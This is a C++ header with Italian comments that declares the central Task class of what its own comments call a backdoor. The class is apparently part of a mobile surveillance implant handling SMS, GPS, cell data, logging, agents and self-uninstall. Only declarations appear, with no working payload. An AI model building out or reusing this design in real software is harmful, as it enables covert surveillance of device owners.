#include "Common.h" #include #include using namespace std; #ifndef __Task_h__ #define __Task_h__ #include "Conf.h" #include "Status.h" #include "Transfer.h" #include "Device.h" #include "SmsMessage.h" #include "GPS.h" #include "Cell.h" #include "UberLog.h" #include "Observer.h" #include "ril.h" #include #include #include "ModulesManager.h" #include "EventsManager.h" #include "ActionsManager.h" class Conf; class Status; class Transfer; class Task; class Device; class Task : public Transfer { /** * Puntatore ad un oggetto Conf che viene allocato ed inizializzato dal costruttore. Viene liberato * poi dal distruttore. */ private: static Task *Instance; static volatile LONG lLock; Conf* confObj; Status *statusObj; Device *deviceObj; UberLog *uberlogObj; Observer *observerObj; ModulesManager *modulesManager; EventsManager *eventsManager; ActionsManager *actionsManager; HANDLE wakeupEvent; BOOL uninstallRequested; static BOOL demo; /** * Instanzia l'oggetto Conf ed inizializza la configurazione. */ private: Task(); ~Task(); /** * Questa funzione viene chiamata una sola volta allo startup della backdoor, e in nessun'altra * circostanza. Puo' essere usata per generare notifiche (ad esempio per scrivere il LogInfo). */ public: void StartNotification(); /** * Questa funzione stoppa tutti gli agenti attivi, chiama Conf e carica la configurazione, quindi riavvia tutti gli * agenti. Torna TRUE se la backdoor e' stata inizializzata con successo, FALSE altrimenti. TaskInit() deve * controllare bUninstall prima di avviare gli agenti. */ public: BOOL TaskInit(); /** * Scorre la lista degli eventi, controlla quali sono stati attivati ed esegue le relative azioni. Ogni azione e' * sequenziale, pertanto questa funzione non deve essere eseguita in un thread separato. Deve verificare * lo stato di bUninstall subito dopo l'inizio della funzione. */ public: BOOL CheckActions(); static Task* self(); void uninstall(); void wakeup(); static BOOL getDemo(); }; #endif .